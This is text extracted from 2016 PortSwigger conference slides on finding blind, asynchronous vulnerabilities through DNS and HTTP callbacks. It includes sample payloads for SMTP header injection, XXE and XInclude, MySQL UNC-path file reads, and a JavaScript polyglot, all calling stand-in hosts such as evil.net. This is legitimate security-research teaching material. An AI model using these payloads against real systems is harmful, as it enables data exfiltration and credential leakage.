Hunting Vulnerabilities: Asynchronous
Hunting Vulnerabilities: Asynchronous
ASYNCHRONOUS
VULNERABILITIES
James
Kettle
THE
CLASSICAL
CALLBACK
From: no-‐[email protected]
To: James
Kettle
Subject: Order:
103092185
Hi test,
• Why
DNS?
• Underpins
most
network
protocols
• Rarely
filtered
outbound
©PortSwigger
Ltd
2016
All
Rights
Reserved
PAYLOAD
DEVELOPMENT
THE
INDOMITABLE
PAYLOAD
•Callback
exploits
fail
hard
•Quality
of
Payload
is
crucial
•Environment-‐insensitive
•Multi
context
(aka
“polyglot”)
•Filter-‐resistant
•Simple.
©PortSwigger
Ltd
2016
All
Rights
Reserved
SMTP
HEADER
INJECTION
foo%0ABCC:
[email protected]
Website
Attacker
User
©PortSwigger
Ltd
2016
All
Rights
Reserved
SMTP
HEADER
INJECTION
%0AReply-‐To:
[email protected]%0A%0A<zip_bomb>
Website
Attacker
User
©PortSwigger
Ltd
2016
All
Rights
Reserved
INDUCING
CALLBACKS
•Abuse
core
functionality
•Read/write
from
UNC
path
• Windows
only
• May
expose
credentials
via
SMB
•Execute
arbitrary
code
•Abuse
underlying
platform
<root>
<foo>&xxe;</foo>
<x xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include
href="http://xi.evil.net/" ></x>
<y xmlns=http://a.b/
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://a.b/
http://schemalocation.evil.net/a.xsd">a</y>
</root> ©PortSwigger
Ltd
2016
All
Rights
Reserved
SQLi:
POSTGRES
• From
https://bog.netspi.com/advisory-‐xxe-‐injection-‐oracle-‐database-‐cve-‐2014-‐
6577/
• No
privileges
required!
• Patched
eventually
©PortSwigger
Ltd
2016
All
Rights
Reserved
SQLi:
MySQL
•LOAD_FILE('\\\\evil.net\\foo')
• Windows/OS
X
only
•SELECT
…
INTO
OUTFILE
'\\\\evil.net\\foo'
• Windows/OS
X
only
•Bash:
$ command arg1 input arg3
$ command arg1 'input' arg3
$ command arg1 "input" arg3
•Windows:
>command arg1 input arg3
>command arg1 "input" arg3
©PortSwigger
Ltd
2016
All
Rights
Reserved
POLYGLOT
COMMAND
INJECTION
+/[*/[]/+((new(Image)).src=
([]+/\/randomid\.burpcollaborator.net/)
.replace(/\\/g,[]))//'>
•URL grepping
•Scope
©PortSwigger
Ltd
2016
All
Rights
Reserved
TAKE-‐AWAYS
You
can
join
in
Asynchronous
exploits
fail
silently
Invisible
⇏ unhackable
@albinowax
[email protected]
©PortSwigger
Ltd
2016
All
Rights
Reserved